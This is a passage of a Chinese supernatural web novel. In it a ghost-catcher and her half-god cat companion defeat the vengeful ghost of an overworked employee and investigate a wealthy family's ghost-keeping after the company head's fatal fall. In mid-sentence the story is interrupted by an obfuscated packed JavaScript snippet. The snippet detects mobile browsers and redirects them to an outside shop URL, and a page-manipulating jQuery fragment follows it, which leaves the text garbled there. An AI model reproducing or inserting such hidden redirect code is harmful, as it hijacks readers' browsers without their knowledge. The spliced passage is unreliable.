清一合上眼冷静了一会儿,重新查找起来。终于,一个不会引起特别注意的角落亮起了淡淡金光。清一立刻上前查看——小总裁为这尊神像专门造了一间嵌在墙内的屋子,为了掩盖他还特意做了一扇门。真不知道这个地儿除了他自己谁还会来,这么画蛇添足的保密是为了防着自己吗? 这尊神,是倒着的。 拜神,无非是有所求有所愿。正神应正念,倒神应倒念。 倒神,即为邪神。倒念,即为所求所愿皆相反。 “他难道不知道他每天拜的神是倒着的吗?!” “若是有恶鬼操纵他呢?”从邪神亮相开始,屋内的鬼气达到了一种巅峰。 “难道小总裁曾经被恶鬼附身了?” “有这个可能。”苏月现没有停下翻找,直觉告诉她,已经离真相不远了。 她在一摞资料下,找出了一份体检报告。上面的指标纷纷飘红,不难看出这具身体已经岌岌可危了。 “这是他们员工每年的体验吗?这人叫……陈炳惟?” 苏月现叫出名字后,空气中的鬼气猛然间汹涌起来。 清一同样敏锐地察觉到了潜藏的危机,他缓缓俯下身子,举起原本自然垂落的手,指尖悄然变为猫爪般的锐利勾状甲,形状异常锋利。 “陈炳惟!” 苏月现突然提高了嗓音,呼喊出这个名字。下一秒,一只冒着黑气的鬼手凭空出现,带着凌厉的气势直逼她的脖子处。她后撤一步,飞速将伞旋至身前,挡住了这下攻击。与此同时,清一从一侧迅猛冲出,企图抓住那只鬼手,却不幸慢了半拍。恶鬼仿佛撕裂了空气,从一道无形的裂口中跃出,露出了狰狞的本相。他一把攥住了清一攻来的手,向反方向用力掰去。清一的口中顿时爆发出一声痛苦的咆哮。苏月现见状,毫不犹豫地甩出手中的古伞,伞边悬挂着的刀片轻盈而锋利,旋转起来宛如银色流光划过。那恶鬼连忙放开清一向后闪躲,即便如此,刀片还是在他脸颊上划过了一道口子,几滴黑色的血液飞溅而出,落在地上,变成了缕缕烟雾飘散而去。 “伞姬?我竟然配让你来抓我,真是有趣。但是——”陈炳惟指了指站在一旁的清一,“你不是向来独来独往吗?怎么还跟神扯上关系了,还是个半神。” 苏月现懒得跟他扯东扯西,直入主题:“是你附身了小总裁,让他摆邪神供养你吗?” “是。” “那用骨灰做成的供香?” “是我的骨灰。” 苏月现挑眉,第一次见到这么舍得的恶鬼,竟然用自己的前身做筹码。 “很震惊么?我那身体留着也没什么用,何况是一盒骨灰。不如,多多帮助现在的我!” 清一在一旁缓了许久,恢复了一些说话的力气:“你就没想到过你的亲人吗?或许那一捧骨灰,是他们最后的情感寄托。” “亲人?”他突然大笑起来,“我妈死了!死了!” 陈炳惟飘到清一面前,恶狠狠地说:“你不是神吗!神为什么不庇护世人呢?我妈自己一个人在家里犯了心梗,死了!哈哈哈哈哈哈哈!死了!” 苏月现将清一护在身后,质问道:“你做了这么多,到底想怎样?” “当然是想让盛辉死啦~” 苏月现听后,举起了那份体检报告:“一切,是否与这有关?” 陈炳惟低声笑了一阵,眸露凶光,大喊道:“他该死!他该死!他们全家都该死!” 陈炳惟是公司老员工,辉天科技一开始是由董事长亲自管理,也是卷天卷地卷生卷死的模式。但他曾承诺工龄满5年体检问题严重的人准3天带薪假期,未满3年的人准1天带薪假期,以犒劳员工们的辛勤付出。大家听后,干得更卖力了。 第二年董事长病退,由小总裁管理公司。陈炳惟拿着自己一路红灯的体检报告去找他,他笑眯眯的接了过去表示会安排他的假期,但一直等到他猝死在了工位上,也没有得到应有回应。 陈炳惟死后,公司方为了掩盖这个丑闻。给所有在职员工包括实习生付了翻倍的工资,相当于封口费。在警方来调查时,无人敢提公司压榨员工的事实和董事长当年随口一说的承诺。也有头铁的员工偷偷透露给警方一些信息,但无凭无据,仅凭一两人的证词也无法撼动辉天科技的地位。公司依然如日中天,依然是每年毕业季收到简历最多的公司,依然越来越卷。 起初网上对辉天科技有诸多质疑,后来公司公布了陈炳惟的体检报告,又请了许多水军在网上搅浑水。言外之意是他的身体很差,猝死一点都不奇怪。在这期间,公司发布了一条讣告,对过世员工表示哀悼,陈炳惟在职期间恪尽职守,为公司创造了许多价值,因此给予员工家属百万的补偿。就这样,异样的声音渐渐地消失了,人人都称辉天科技是有人情味儿的企业。只有极少一部分人,坚持认为陈炳惟的死亡与公司的加班文化脱不了干系,他的身体变差,不也有上班的原因吗?他们支持家属去打官司争取权益,但陈炳惟的妈妈表示,她不愿再提这件事,她希望她的儿子能安息。 祸不单行,他死后没多久,他的母亲因悲伤过度,在家突发心梗,也跟着去了。直到尸体发出了难闻的气味才被邻居发现。 陈炳惟就是这时变成恶鬼的。 原来他死后,并没有立刻离开,而是始终徘徊在他母亲身边。他认为,哪怕用他的死能换来一大笔钱能让母亲安度晚年也是好的。究竟他是怎么死的,他自己根本不在乎。 只是天不遂人愿,他无法接受她的母亲操劳一生,最后落得这样凄惨的结局。 于是他要报复盛家。他附身了小总裁,翻骨灰,制供香,拜邪神,还在暴雨的夜晚,杀了加班晚归的刘意,以在短时间内增加自己的力量。 “你复仇,我理解,但你为什么要杀了无辜的人!” “刘意的情绪一直不稳定,他本就想死,我不过是帮了他一把。” “他明明在挣扎!他有活下来的可能!” “你错了!”陈炳惟冲着苏月现吼到,“你以为我想杀就能杀吗?我想附身就能附身吗?是他们给了我机会!那我为什么不利用呢?” 他说的没错,刘意的情绪有问题。能量不够,确实容易被鬼附身。但小总裁是怎么回事?再者说,他已经吸取了足够多的阳气,掐死几个人类是顺手的事情。为什么还要多此一举杀了刘意? 苏月现的脑子飞速转着:“你是说……盛辉有问题?不,是盛家有问题,让你没法一下子杀死全 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陈炳惟死后,邪神像裂了一道缝,失去了所有法力。同时,苏月现的鬼簿绽放出蓝色的光。她急忙取出查看,竟然增长了10%。苏月现惊讶地眨眨眼,这么容易收服的恶鬼,竟然这么值钱吗! 随后,一段记忆如同溪水般温和的涌入她的大脑。苏月见的目光转向了一旁的清一,她终于想起了关于他的故事。 她情不自禁的拉住了他的手,轻轻抠了抠掌心,又垫起脚去摸他的头,最后绕到了他身后仔细打量起来。 清一还不知道她恢复了关于自己的记忆,被她这一通又看又摸的亲昵举动搞得心痒痒:“苏小姐?” “你真的是清一色吗?你的肉垫呢?耳朵呢?尾巴呢?” “你想起来我了?我真的是清一色呀!我们一起住在姑苏,你喜欢种花,种了一院子的喜林草,我最喜欢在花丛里跑了!” 清一激动得抱住了苏月现,忍不住用头去蹭她的脖子。但他比她高了不少,这动作做起来略显滑稽。 “好了,我知道了,你都这么大个了……就别蹭我了。”苏月现有些无奈。 “苏小姐!我真的好开心!” “但你现在为什么叫清一了?” “呃,因为清一色感觉不太像神仙的名字,所以——”清一低下头,双手合十,一脸歉意,“我错了苏小姐。” 苏月现大度的摆了摆手:“罢了罢了,看来回去我要好好感谢凌霄,他将你照顾得很好。” 两人离开了密室,清冷的月光透过宽敞的落地窗如流水般倾泻而入,照亮了办公室内一排排整齐的文件。窗外是京城的中心地段,午夜时分,依然繁华。 “这么美的地方,竟然是个公司,还是一个喜欢压榨员工的公司。这月光,照亮的应该是人们惬意生活的脸,而不是这些枯燥的文件。”清一经历一遭感触颇多,“不过今后我也要勤加练习,不能一把就让恶鬼给抓住了。” 苏月现听后,嘴角泛起一抹温柔的笑意。不由自主地举起手又想去摸他的头。清一见状,十分配合地半蹲下来,高度恰到好处,让她能够轻松碰到。 “人间就是这样的。” 苏月现心满意足的摸到了猫猫头,随后缓步行至窗边,看着对面依然有几处亮灯的写字楼,叹了口气,“这些,都没有办法。” 下一秒,一道黑影如同闪电般从苏月现的眼前飞速划过。 她心中一惊,大喊:“清一!” 清一一脚踏上了窗边,正准备跃身而下,就听见闷闷的一声“咚!”。 随后,被砸车辆报警的声音此起彼伏,犹如尖锐的刀片,划破了京城静谧的夜。 盛辉跳楼了。 5. 总裁之死(1) 一切发生得太快。 两人翻窗一跃而下,以最快的速度来到盛辉的尸体旁。苏月现一刻不耽误,吸食完怨气,立马抚上了他的额头,去查看生前的记忆。 这一看,惊得苏月现呆楞在原地,久久不得动弹。 怪不得陈炳惟对于消散的态度那么无所谓,怪不得他魂飞魄散前在她耳边说,他的愿望已经达成了。原来他知道,盛辉必死。 “苏小姐!苏小姐!苏姐姐——”清一附在苏月现耳边,一声一声将她飘远的思绪唤回来。 苏月现猛得起身,肩膀差点与清一的下巴撞到一起。 尖锐而急促的警笛声从四面八方传来,急迫的频率预示着华国的商界要变天了。 “走!去盛家!”她主动拉住清一的手,往盛辉记忆中的方向飞去。 “不休息一下吗?苏姐姐,你累不累啊,刚刚战斗时有没有受伤啊。” 清一这样说着,眼神一直落在他们相交的手上,心中不由得生出几分甜蜜:“不要管他们了,那些人死不死的无所谓,你的身体最要紧啊。” “我没事,你以后不准这样说了!”苏月现扭头看着他,语气严肃,“每个人在这世间都很重要。” 清一迫切问道:“那我呢?我对于你来说,重要吗?” 苏月现听后沉默了几秒回过头,故意不去看他含情的眸:“当然,你不也是这世间的人吗。” 盛家位于京城的郊区,独占一方天地,连房子都是与众不同的四层别墅。 以他家的财力,在市中心置办一套房产绰绰有余,却选择了偏僻、荒无人烟的避世之地。苏月现通过盛辉的记忆,不难猜出其中的缘由。 清一动了动鼻子,满脸嫌弃:“哇,好浓的阴气。” 他前身是猫科动物,嗅觉灵敏,现今又是半神之身,因此对阴气格外敏感:“他家这是干嘛了……怎么有只大鬼长时间住在里面,竟然无人发觉。” “不是无人发觉,是所有人都心知肚明的在养鬼。只不过他们没有心,那些副作用都应在了盛辉身上,他们却在享受着生活。” 苏月现心想,这盛家虽姓盛,但却靠献祭孩童给大鬼维持,内里已经腐烂衰败了。 “啊,竟然养鬼?那盛辉好惨啊。”清一不带任何感情的附和着,“但是,俗话说得好,人不为己天诛地灭嘛。” “清一!你不能这么想!”苏月现抬手狠狠敲了他的脑门,他吃痛地悟住“受伤”的地方,泪眼汪汪地看着她。 “为己和自私是两码事。” 清一不能理解,却也没再说什么,赌气似的自顾自的往前走。晚风轻轻拂过,将他的长衫吹得翩飞,发丝也在空中肆意飞扬,像极了武侠剧里不被世人理解的孤独大侠。 苏月现见他略显落寞的背影轻声笑笑。 她一直以为,以现在的样子,能为世间做的只有多抓恶鬼、减少怨气、维护和平。那么,她会为了人间的幸福与安宁去努力,会为了那些还生活在这里的人类去努力,会为了依然爱着这个世界的人去努力。没想到,做着做着竟把业绩做到了第一,做着做着竟升职成为了阎罗殿内的第一个女官。 其实能不能恢复记忆,对于曾经的她来说,并不重要。在她看来,这些已是隔世。既然命运让她忘记,就一定有必须忘记的理由。 清一闷头走出了一段距离,发觉苏月现没有跟上来,这才停下脚步回头去看——双目对视之时,苏月现冲他勾了勾手。 清一看见她的手势,赶忙往回跑。他嫌自己的速度太慢,还用上了术法。脚步瞬间变得轻盈而迅速,每一步都映出一朵金色梅花,犹如繁星点点洒落人间,在夜晚格外亮眼。 苏月现看着他焦急的模样笑意更甚。 那段在宅院里一同生活的时光如同幻灯片在她脑中播放,生前的她也是只要冲他勾勾手,不管离得多远,她的猫猫都会翘着蓬松的大尾巴奋力跑过来。 她一直以为,鬼会为他人带来不幸,所以从不招揽搭档。没想到阴差阳错间,身边多了个半神——上来就滋哇乱叫的喊主人,吵吵嚷嚷的要为她找回记忆,又在第一次遇见恶鬼时被打得还不了手。 这让苏月现感受到了一丝久违的活气。往平静的潭水中不断扔下石子,也能漾起浪般的层层波澜。 她在这个世界,第一次有了羁绊。她再也不是活在尘世之外的鬼,再也不是孑然一身了。 现在看来,还是快点恢复记忆比较好。 她渴望想起有关清一的全部,有关过去的记忆,以及那一生的爱与恨。 她想与他有话说,有回忆可聊,有往事可追。 “苏姐姐,你笑什么?” “没什么,觉得你很可爱罢了。” 清一被苏月现的直球打得措手不及,连娇都忘了撒,傻乎乎的杵在那。 他的苏姐姐什么时候开窍了?嘴巴这么甜? 苏月现转了转眼珠,脑中的坏主意一个劲儿地往上冒,她贱兮兮地喊道:“清一色?” “我叫清一!”清一终于害羞起来,整张脸都沸腾了,像烧开的水,耳朵处往外冒着肉眼看不见的白烟。 “好好好,不管你叫什么,变成什么样子,你都是我的猫猫。” 清一瞬间被泼了一盆彻骨的冷水,不留情面的从头浇到尾,寒意直透心底。 猫猫的情感世界纯真而直接,喜欢就是喜欢,在乎就是在乎。没有什么中间值,也没有含糊其辞模凌两可的地方。他不明白他都表现得这么明显了,苏月现为何还将他当作宠物,勾勾手,摸摸头就会开心得呼噜呼噜叫的那种。 然而,事实的确如此。他的苏姐姐只要释放出一丝亲昵的信号,他就会眼巴巴地凑上去。人类最常说的礼义廉耻统统不在乎,他还是当年那只会去舔舐她掌心求她爱抚的猫。 他不懂什么主人与宠物的关系,在他心里,苏姐姐就是无可替代的唯一。 清一不满意她的回答,闷声问道:“你刚才怎么没跟上来啊。” 苏月现心中惊讶他变脸的速度,心想猫的心思真是千变万化啊。 “这里摆了阵,我过不去。” “那为什么我能过去。” “因为这阵,本来就是为了防鬼的。住在里面的那只大鬼就是想保护自己的地盘。” “那你怎么样才能进来啊?不能就靠我一个人吧……感觉他很厉害,我怕我打不过拖你后腿……” “放心,我不会扔下你一个人的。但是时间宝贵——”苏月现抬头看了眼天空,已有些许变亮的迹象,“你先进去,看看有什么特别的东西,千万不要挪动位置,不然会被里面的大鬼发现,要用脑子去记。我在外围看看,能不能破解这个阵。但是今夜肯定破不完了,对付这种大鬼,不求快,求稳。” 苏月现这个事业脑没给清一别扭的时间,吩咐好任务后长辈似的拍了拍他的肩就走了。清一自顾自地叹口气,既然苏姐姐觉得查案最重要,那他就会立刻去执行。 事不宜迟,两个人分头行动。 清一潜进了盛家,他没有苏月现感应的技能,只能细细翻找。但他作为神,也能凭借着第六感,觉出这里的不对劲—— 盛家没有镜子。 哪怕在洗手间这样的地方,都没有挂一面大镜子。那么平日他们是如何梳妆的呢? 想着这些,清一闪身进了一楼的主卧。奇怪的是,屋里摆放着一个巨大的梳妆台,却依然没有放置镜子,但是那些瓶瓶罐罐都有使用过的痕迹。女主人不可能往脸上胡乱涂抹,这里定有他没发现的东西或秘密。 清一缓缓拉开一侧的抽屉,里面躺着一个极小的手持镜,镜面上密实地裹着一块最为常见的黑布,系扣处被牢牢扎紧,透不过一丝空气。清一比了比,大小与他的手掌相差无几,似乎专门为映照人类的脸而特别制作的。他小心翼翼地关上抽屉准备离开,却还是不小心碰到了桌腿,一声清脆的“咚”在夜晚安静的房间中回荡。他惊慌地望向盛董事长和其夫人,只见他们仍平躺在那沉沉睡着,被子盖至脖颈处,露出面容平静的脸,就像死了一般。 清一没敢上前查看,见他们没有醒来的迹象,偷偷松了口气。正准备离开,余光瞥见窗帘似是被风吹起,刚才还拉得严密,如今却露出了一条缝。 仲秋之时,还需要开着窗睡觉吗? 清一没多想,又摸索着上了二楼,这层仅设有一个主卧。他轻轻走进去,床上躺着一位女人,容貌看起来比董事长夫人更为青春焕发。但是按年龄来看,也不像这家的女儿,可能这就是有钱人的世界吧。 这个略显空荡的房间,与楼下布局一样,同样没有设一面镜子。清一再次从梳妆台的抽屉里找出了一把巴掌大的手持镜,依然紧紧裹着黑布。她也是平躺着睡在那,宁静而安详,毫无呼吸的痕迹。清一有了经验,胆子大了起来,悄悄上前去探了探她的鼻息,还好,是活着的,只是那气息微弱至极,宛若游丝,差不多是个半死人了。 离开她床头之时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647782|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清一的左脚似乎蹭到了什么东西。他蹲下身去,发现床下竟有一篮子物品。他拉出一看,里面装满了小女孩爱玩的玩具。他将这篮子拿到窗边借着月光仔细瞧,有两个布娃娃,一堆贴纸,还有各式各样的发卡、镶钻的皇冠等等。被月光一照,闪着晶莹的光芒,就像盛了一池星星,梦幻又迷离。 清一努力回想着,根据他仅有的对盛家的了解,他想破脑袋也没有想起来这家有女孩啊。他默默记在了心里,准备等会儿跟苏月现汇报一下。 清一上至三楼,轻车熟路的摸进了主卧,门却是锁着的,没办法进去。 无奈之下,他只好往最后一层探去。刚踏上第一级台阶,清一就感受到了明显的不适。空气中开始弥漫着一股黏腻的阴湿味,好像是从某个地方渗出来的,让他的呼吸不由自主地变得滞重起来。其中夹杂着些许难以名状的、生命腐败的气息。 他忍着不适继续往上走,随着一级一级的深入,这种感觉越发强烈起来。走到最后一级,他发现这整整一层楼都是被砌死的,表面涂满了黑色油漆,像个牢笼,似乎在囚禁着什么。 这屋子的外表有些旧了,几处墙皮剥落,露出了内里斑驳的白,有些地方还抹上了诡异的红色。痕迹已经干涸,无法分辨是血还是颜料。这幅景象让清一想起了盛辉从高空落下被砸得血肉模糊的脸,那颗犹如西瓜落地般近乎炸开的头,还有根根破体而出的白骨。 屋子的入口在离楼梯大概一米的位置,门上落着一把巨大的铁锁,粗长沉重的铁链一圈又一圈地缠绕在门把手上。 清一没有钥匙,自然打不开这扇门。他只好站在有限的空间里观察一番,没发现其他异常后离开了这个氛围诡异的地方。 苏月现在别墅外也没闲着,她发现这个别墅几个正位方向上的草皮不太一样,呈现出一种新生的绿意。 她本就爱种花,关于草的新旧,她再熟悉不过。苏月现手抚上正北的位置,用鬼术深深向下探去。 穿过草地的根部,她感受到了一股与她同源不同术的力量。果然不出她所料,这别墅下面藏着大鬼阵下的东西,为的就是公然标记领地。 就好比小狗出门喜欢在各处留下自己的气味,鬼也是一样的。能使用这种丧心病狂拜鬼发家的人类不多,被请来的鬼一旦得到了活人的供奉法力便会成倍的增长。因此,他自然不希望有其他鬼发现这些天然养料。 然而,想要破阵也很简单——把下面的东西挖出来即可。 苏月现在别墅外绕了一圈,还真让她在后院的菜脯周围找到了一把锄头。看着这把简陋又朴素的工具,她不禁苦笑,堂堂阎罗殿女官,竟沦落到在这挖土,实在荒谬。但为了能顺利进入别墅,苏月现别无选择,认头地挖了起来。更深露重,土地湿润而松软,她每挥动一次锄头,钩出来的都是一团泥。 她就这样挖了许久,直到清一探查完从别墅里走出来,她才刚刚看见一点儿苗头。 苏月现不敢疏忽,加快了挖土的进程。很快,阵在正北的东西现世了。 这时清一已走到她身旁,指了指她手中的小方块问:“这是麻将吗?” “对,这是麻将中的北风。” 这张牌上字体的颜色不尽相同,北字右半边是由沾有蓝色墨水的笔重新描摹而成的。从牌角的磨损程度来看,已经有些年头了。有的地方甚至磕掉了一块,变得凹凸不平。 苏月现想起了生前与她一同在牌桌上厮杀的闺中密友——郁青。 她曾有一副很喜欢的牌,打得次数太多,摸得次数太多,以至于掉了漆,丑丑的。她倒不甚在意,只是郁青家世代都是丹青手,她接受不了这种颜色上的瑕疵,有一天特意揣着笔去找苏月现,比来比去都不知道描哪个颜色好。 最后,她望见了一院子的喜林草。 她笑着说,蓝色最衬她。 太阳从远处的山峦间缓缓探出头来,天空被染上了一层绚丽的粉色,几片薄云悠然自得地浮在空中。 漫长的夜终于过去,新的一天已经到来。 清一靠在一旁的树上打起了盹儿,这个新手半神,已然坚持不住停止运转了。 苏月现手中牢牢攥着那一张麻将牌,并不锋利的边角将她的手心隔得通红。她对郁青的记忆就到这了,她想不起后面发生了什么,大概率是自己先死一步。 她不由自主的开始期待,待夜幕再次降临时,她会不会遇见昔日好友。 这是她鬼生第一次,这么在乎一件事。 6. 总裁之死(2) 轰动全国的案件再次发生在安居乐业的京城。 比起无人在意的刘意,盛辉的死亡盛大而悲凉。那具摔得惨不忍睹的尸体,在媒体到来之前就被盖上了白布,并雇了专人站其旁边看管,防止有好事儿的民众上前一把掀开,这样盛家的脸就丢大了。可依然有人钻空子,想要一睹尸体真容,却被高墙一般的保安挡得严严实实,不时还会推搡一把。 金字塔尖的一具尸体,都比位居下层的活人重要。 不过这样的结局,也算给刘意的家属一个交代。他们没再在警察局门口喊冤,抱着骨灰盒离开了。 盛家全体缟素,在得知盛辉以如此惨烈的方式去世时,盛董事长承受不住,晕倒在地,其余几位盛家人又忙做一团,手忙脚乱地将他送去了医院。 这时倒显得盛夫人不慌不忙,站出来以当家主母的身份主持大局。她红着眼睛,操持着盛辉的后事。灵堂摆得很快,一夜之间,盛家褪去了颜色,浸在一片苍白中。她没有请超度亡魂的喇嘛,而是叫来了一位名叫吴界的算命先生,坐在金丝楠木的棺材旁闭着眼睛嘴里念叨着什么。院子里跪坐着一位女士,冷着脸不断往燃烧的火堆里扔纸钱,生怕盛辉到了地下钱不够花。 盛家办丧事这些天,淮蓉区下起了雪,细看去才发现,漫天飞舞的是纸钱燃烧后化成的灰烬。天空从发现尸体的刹那就阴了下来,灰色的云层不断下坠,仿佛下一秒就要压垮整座城市。 盛家悲伤地情绪笼罩在京城的每个人身边,这段日子大家看起来都不太好过。尽管如此,案子也要按流程办理。警方找上了盛夫人,她配合度极高,主动提供了布置在家中的监控录像。 视频显示,午夜时分,盛辉本来在床上躺得好好的,忽然坐起身,走至桌前动笔写了些什么。随后,他穿好衣服,拿上车钥匙下了楼。三四分钟后,他开车离开了别墅,往最后死亡的地点驶去。 似乎一切都是他计算好的,每步都精准到分秒,没有浪费一点时间。动作利落又决绝,对这个世界没有一点留恋。 盛夫人又呈上了他写的东西,是一封遗书。 上面写到:我是盛辉,我对不起盛家多年来的栽培,对不起爸爸妈妈的爱,对不起公司的员工,最对不起的就是刘意。是我杀了刘意!是我杀了刘意!是我杀了刘意!我愿意承担所有责任,以死谢罪。 盛夫人称,平时盛辉都会早早起床去上班,今日却迟迟不下楼。她担心他上班迟到于是去叫他起床,在门口叫了半天都没人回应,她只好直接进去了。却发现屋子收拾得十分整洁,床上根本没有人。她以为盛辉今天早就去上班了,习惯性的帮他整理一下桌子,就发现了这样一份遗书。与此同时,她接到了来自警方的电话,知道盛辉死了。 说到动情之处时,她好像忍不住了,红了许久的眼睛终于落下了泪,从布满皱纹的眼角滑落,滑过因失去营养而越发干瘪的脸,停在那张不合时宜的红唇上。 先拿着证物回局里查验的警察发来了消息,监控没有剪辑痕迹,她给的就是原带。遗书上的指纹与证词相同,此案盛夫人这儿没有什么疑点。 警方又在别墅里转了一圈,走到最后一层时,盛夫人拦了一句。 “那是我们供奉家神的房间,大家这样进去,恐怕不太好。” 警队队长站在高一级的台阶上附身看着她,她弯着眼睛无声地回望过去。两人对视了许久,最终他没有进去,直接带人下了楼。 他们又例行公事的安慰了几句,离开时顺便问询了盛宅里的下人,他们都称盛辉平时不太爱说话,工作辛苦总是早出晚归,很少能碰见他。他是个很温柔善良的人,性格极好,甚至有些过于柔弱了,偶尔还会帮他们干两下活,完全没有少爷架子。但他身体不太好,总是在喝药。盛夫人很爱护他,每次都是亲自煎药并盯着他喝下去,说是不放心下人们做这件事,怕出差错。盛夫人把自己的儿子丢去国外,却将盛辉留在了身边。两人不是亲母子,却胜似亲母子。 如他们所说,盛辉有个哥哥,高中毕业后申请了马来西亚的大学,后又升了本校的硕士。毕业后被盛董事长直接安排进了当地的分公司做执行总裁,所以盛辉出事时他根本不在场,得知他父亲晕倒进医院了这才开始往回赶。警方听后也只是觉得兄弟常年两地分居,又涉及继承问题,其中还夹杂着父母的宠爱,所以感情不好。对于这样的大家族来说,也属正常现象。 至此,盛家的所有人都问询完毕,至于坐在门口烧纸钱的那个女人,警队队长淡淡瞥过一眼,自动忽略了。 实习警员拉住了队长的衣袖,小声问道:“队长,那个女人我们还没问啊。” 警察队长皱着眉头回答:“小子,听话啊,不该问的别问。” 事情发生后,盛天集团及时给辉天科技的员工每人都发放了一笔不菲的补偿金,连保洁阿姨都不例外。这再一次展示了大企业对员工的关心,赢得了全民的称赞。 员工们自发在网上发起话题悼念盛辉,一夜之间竟成为了流行趋势。不管是不是这里的员工,不管认不认识他,只要刷到了相关信息,就会在评论区留下一朵赛博花朵,以告慰在天之灵。 苏月现这次没有住在墙里,她选择了盛宅旁边的一块空草地,这样能时刻关注藏在别墅里的大鬼。 清一虽然揣着凌霄给他的建房符,但还是死皮赖脸的跟苏月现住在了一起。 苏月现随他去了,反正以前他还是只猫时天天也睡在一起。无奈他现在化形了,挤在一张床上感觉不太好,她就将他打发去沙发上睡。 清一的适应性倒强,一米八几的个头,挤在小沙发上,半条腿都悬在空中,看着就不舒服。连换洗的衣服都是让凌霄连夜用符送过来的,为此清一挨了不少骂。 他就当听不见那些恶言恶语,屁颠屁颠地跟着苏月现进屋了。 收复陈炳惟时,清一被他伤到了。那一掌表面看上去只是抓住了他的手,但其实鬼气顺着经脉进入了体内,五脏六腑都被搅得流血。虽不伤及性命,但也需要十天半个月才能恢复。他为了不拖苏月现后腿,将许多神力都堵在了伤口处加速修复,后又直接被她拉去查盛辉的案子,一直没得到应有休息。所以他睡得格外沉,一觉到了傍晚。 清一做了一个梦。 梦里的他已经经历完了人间七悲,褪去半神之身,拥有无上神力,再也不怕打不过恶鬼了。他开心的去找他的苏姐姐,但所有人都告诉他,苏月现已经死了。她想起了所有前世的记忆,为了复仇,杀死了那个无辜的后人。 清一疯了,他不相信苏姐姐会做出这种事。明明,她最爱人间的啊。 他决绝地踏上寻觅苏月现的路,穿越重重迷雾,在混沌中寻了许久,道路曲折而漫长,望不见终点的轮廓,也寻不到苏姐姐的踪迹。 蓦地,他察觉到了湿润之感,缓缓抬起双手,发现上面浸满鲜血。下一秒,场景变幻,他被扔进了地狱的第十八层,再往前一步便是沸腾的岩浆,不停在冒着热气,咕噜咕噜地翻滚着。其中隐约可见溺在里面被炙烤的身影,挣扎着想要逃离,又被无形的力量按了回去。鬼魂阴森的声音在他耳畔频频响起:清一——你杀人了!杀人了!杀人了! 清一猛地睁开眼,直愣愣地坐起身,额间布满细密的汗珠,大口大口地喘息着。梦境中那令人心悸的声音似乎还停留在耳边,他用力甩甩头,企图把这些恐怖的画面甩出去。 还好,只是梦。 他睡得太熟,以至于没能妥善掌控好自身的法力。那条蓬松的大尾巴如同生机勃勃的藤蔓,缠绕在他的小腿上。神力尚未完全恢复,看来这尾巴一时半会儿消不下去了。 清一烦躁地抓了抓头发,抬眼便看见了坐在窗边看着黑色小方盒的苏月现。 她换了一身柔软的纯棉连衣裙,居家又舒适,露出了白皙的小臂与修长的腿。纤细的手指不停滑动着小方盒,时而皱眉头,时而抿嘴笑。 窗台上摆着一排喜林草,在秋日傍晚的阳光里绽放着蓝色的花。 清一揉了揉惺忪的睡眼,心中想着不会又是梦境吧。 在千年后的今天,他再次见到了,日思夜想的场景。 好像时间被大力挤压成了泡沫,顺着风飘走了。一瞬间,他好像回到了姑苏熟悉的宅子里。苏姐姐每日坐在窗边制伞,他蜷缩在她的脚边,依偎着她的腿假寐。偶尔睁开眼睛,仰头去看她神色认真的脸。 仿佛这数不清的岁月都是一场梦,苏姐姐还是原 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“我以为你们都用什么小纸人。” “现在是5G时代了……”苏月现扶额,“除了阎王跟我们联系时会用纸人,剩下的都用手机了,方便又快捷,你画符的功夫消息都发完了。” “那我也想要一个……呃,手机。” “让凌霄给你准备,这个很贵的,我攒了很久冥币才买到的。”苏月现宝贝的擦了擦手机的屏幕。 “好吧。那,你刚刚在笑什么?因为这个手机?” 苏月现勾勾手,拍了拍旁边的椅子。清一的眸子瞬间亮起来,一闪一闪得像藏了星星。他快步走过来,将尾巴拢到了一侧,乖巧地坐下等待着她下一步的指示。 苏月现打开那条视频的评论区拿给清一看:“喏,网上都悼念盛辉呢。认不认识都在那说漂亮话,是不是很搞笑。” 清一不理解:“这么多人啊,他有这么有名吗?” “怎么可能,就是跟风。”苏月现撇撇嘴,“盛辉真是的一位性价比超高的人,生前保证了盛家这么多年的繁盛,死后又为公司带来了流量曝光。” “苏姐姐,你到底从盛辉的记忆里看见了什么?保证盛家的繁盛是什么意思?” “那你先说说,你从盛家找到了什么线索没有?” 清一把盛家别墅里的情况跟苏月现简单叙述了一遍。 她听后,结合盛辉的记忆,心里有了底。 “你看新闻了吗?”苏月现拿出手机,播放了媒体公开的一段关于盛家的报道,镜头扫过吴界时,她按下了暂停,“这个算命先生很重要,很有可能就是他帮助盛家招来的大鬼。今晚我们务必要抓住他,把来龙去脉问个明白。还有——” 苏月现把进度条拉到最后,停在了烧纸钱的女人身上:“这个女人,我们也要抓住她。我刚才翻遍了全网,都没有找到关于她的一点儿官方报道,但是在盛家的各种视频里都能找到她的影子。根据你昨天看到的,还有盛辉的记忆,我可以确定她是盛董事长的小老婆,盛辉是他们的孩子。” “私生子?” “不一定,没准儿他家就是这种模式呢。要么盛夫人是个心大的,不在意这些。要么就是为了扣住盛辉,不让他乱说。她既然能光明正大的住在盛家,就一定有理由。但我们无法问盛夫人,即便问了她也不会说。所以可以把这个女人抓住,她是突破口。” 清一赞同地点点头。 苏月现继续道:“但是在盛辉的记忆中,他们接触并不多,只有小时候的几次玩耍。你说从她床下找到了一篮子玩具,那是盛辉的。还有第四层的神秘黑屋,就是盛辉一直住的地方。” 清一瞪大了眼睛,怎么也没想到竟是这样。 “那个地方,特别恐怖。”他光想一想后背就发凉,那股阴湿味儿瞬间又萦绕在鼻间,“怎么能住人呢……再说了,那篮子玩具都是娃娃啊、发卡啊什么的。虽然男人也可以喜欢这些,但还是太怪了。” “我有一个大胆的想法。” “什么?” “盛辉其实是女人。” 7. 总裁之死(3) 秋日的天空总是黑得特别快,太阳早早敛起光芒,天色在不经意间迅速黯淡下来。 